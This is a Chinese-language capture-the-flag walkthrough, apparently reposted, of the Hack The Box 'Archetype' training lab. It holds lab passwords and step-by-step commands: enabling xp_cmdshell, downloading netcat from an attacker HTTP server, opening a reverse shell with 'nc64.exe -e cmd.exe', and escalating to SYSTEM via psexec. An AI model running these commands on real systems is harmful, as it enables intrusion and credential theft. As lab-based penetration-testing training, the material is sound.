栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Hack The Box Starting Point 渗透测试入门靶场 TIER 2 - Archetype

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Hack The Box Starting Point 渗透测试入门靶场 TIER 2 - Archetype


先对SPAWN的机器扫描一下,nmap -sC -sV IP
扫描出了135,139,445,1433端口及具体信息。

TASK 1,数据库服务在哪个TCP端口?根据nmap的扫描结果,Microsoft SQL Server 2017服务运行在1433端口。

TASK 2,SMB上可用的非管理共享的名称是什么?

我们使用smbclient查看一下目标主机上可用的共享
smbclient -N -L IP (-N:不需要密码,-L:获取主机上可用的共享列表)

这里我们发现除了ADMIN$、C$和IPC$之外,还有一个backups,尝试空密码连接
smbclient \\IP\backups或smbclient -N \\IP\backups

所以这里的非管理共享是backups

TASK 3,SMB共享文件中标识的密码是什么?

ls,查看当前目录下的文件
get prod.dtsConfig,下载文件到本地

exit,退出
cat prod.dtsConfig,查看文件内容

看到User ID=sql_svc,Password=M3g4c0rp123,用于主机ARCHETYPE。

TASK 4,可以使用 Impacket 集合中的哪些脚本来建立到 Microsoft SQL Server 的经过身份验证的连接?mssqlclient.py

首先了解一下什么是Impacket:
Impacket 是用于处理网络协议的 Python 类的集合。 Impacket 专注于提供对数据包的低级编程访问,并为某些协议(例如 SMB1-3 和 MSRPC)提供协议实现本身。数据包可以从头开始构建,也可以从原始数据中进行解析,面向对象的 API 使得处理深度协议层次结构变得简单。 该库提供了一组工具作为可以在该库的上下文中完成的操作的示例。
下载地址:https://github.com/SecureAuthCorp/impacket

Impacket工具包里有一个python脚本mssqlclient.py可以连接到服务器并进行身份验证。我们使用backups里获得的账号密码连接到服务器。
python3 mssqlclient.py ARCHETYPE/sql_svc@IP -windows-auth

进入SQL命令行,我们首先输入help查看支持的命令有哪些。

检查我们在该服务器中的身份
select is_srvrolemember('sysadmin');
判断我们是不是sysadmin,输出是1即True。

TASK 5,可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令行?

从上面的help返回结果可以发现,我们可以使用xp_cmdshell这个存储过程。
我们先测试一下xp_cmdshell是否开启。
exec xp_cmdshell "whoami";
这里显示xp_cmdshell已经被turned off。

我们使用sp_configure重新开启xp_cmdshell
exec sp_configure "show advanced options",1;
reconfigure;
exec sp_configure "xp_cmdshell",1;
reconfigure;

再次执行exec xp_cmdshell "whoami";成功

在本机作准备,开启HTTP SERVER,并使用nc等待目标机回连
在nc下载目录开启http server:sudo python3 -m http.server 80

监听1234端口:nc -lvvp 1234

为了在目标系统中上传二进制文件,我们需要找到合适的文件夹。通过xp_cmdshell执行powershell命令,-c:通过powershell执行命令,pwd:当前目录。
xp_cmdshell "powershell -c pwd"; 可以看到当前目录

作为ARCHETYPE/sql_svc用户,我们不一定有足够的权限能够将文件上传到系统目录中,甚至更高权限的操作。因此我们需要将我们当前的目录改成我们有一定权限的地方,比如我们用户的主目录
cd 进入 C:Userssql_svcDownloads目录下,然后使用wget命令下载我们http server上的nc64.exe
xp_cmdshell "powershell -c cd C:Userssql_svcDownloads; wget http://10.10.16.47/nc64.exe -outfile nc64.exe"
nc64.exe下载地址:https://github.com/int0x33/nc.exe/blob/master/nc64.exe
执行后,我们可以在python搭建的http server里看到记录,显示已经被该IP下载了。

然后使用nc的-e指令,连接到我们机器的1234端口
xp_cmdshell "powershell -c cd C:Userssql_svcDownloads; ./nc64.exe -e cmd.exe IP 1234"

一般的flag可能都会存放在目标机桌面,我们先进入改用户的Desktop下通过dir命令查看当前目录下内容
type user.txt 打印user.txt,得到user flag。

net user,发现sql_svc与Administrator不在一组,要进行提权

TASK 6,使用什么脚本来搜索可能提升 Windows 主机权限的方法?winPEAS工具

根据TASK 6的Hint,我们发现有一款工具叫做winPEAS,
下载地址:https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe

在反弹回的shell里,使用powershell下载我们本机HTTP SERVER下的winPEAS,自动化枚举目标系统的信息。

然后直接运行winPEASx64.exe等待扫描结果。
从输出中观察到Current Token privileges有 SeImpersonatePrivilege,容易受到 juicy potato 的攻击。首先检查可以找到凭据的两个现有文件。

由于这是一个普通用户帐户以及服务帐户,因此值得检查频繁访问的文件或执行的命令。为此,我们将读取 PowerShell 历史文件,它相当于 Linux 系统的.bash_history。文件ConsoleHost_history.txt位于目录C:Userssql_svcAppDataRoamingMicrosoftWindowsPowerShellPSReadline。

TASK 7,哪个文件包含了管理员的密码?通过winPEAS检索到了powershell 历史文件ConsoleHost_history.txt

cd C:Userssql_svcAppDataRoamingMicrosoftWindowsPowerShellPSReadline
type ConsoleHost_history.txt
在这里我们得到了user为administrator(管理员),密码MEGACORP_4dm1n!!

既然知道了管理员的用户名和密码,那么我们可以使用Impcaket工具包里的脚本psexec.py来横向,拿到administrator的shell。
python3 psexec.py administrator@10.129.171.111
然后输入administrator的密码,返回了一个system权限的shell

一般来说,flag一般存放在用户的desktop目录下,我们进入该目录发现root.txt,
打印该文件type root.txt得到flag

最后提交两个flag。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/914460.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号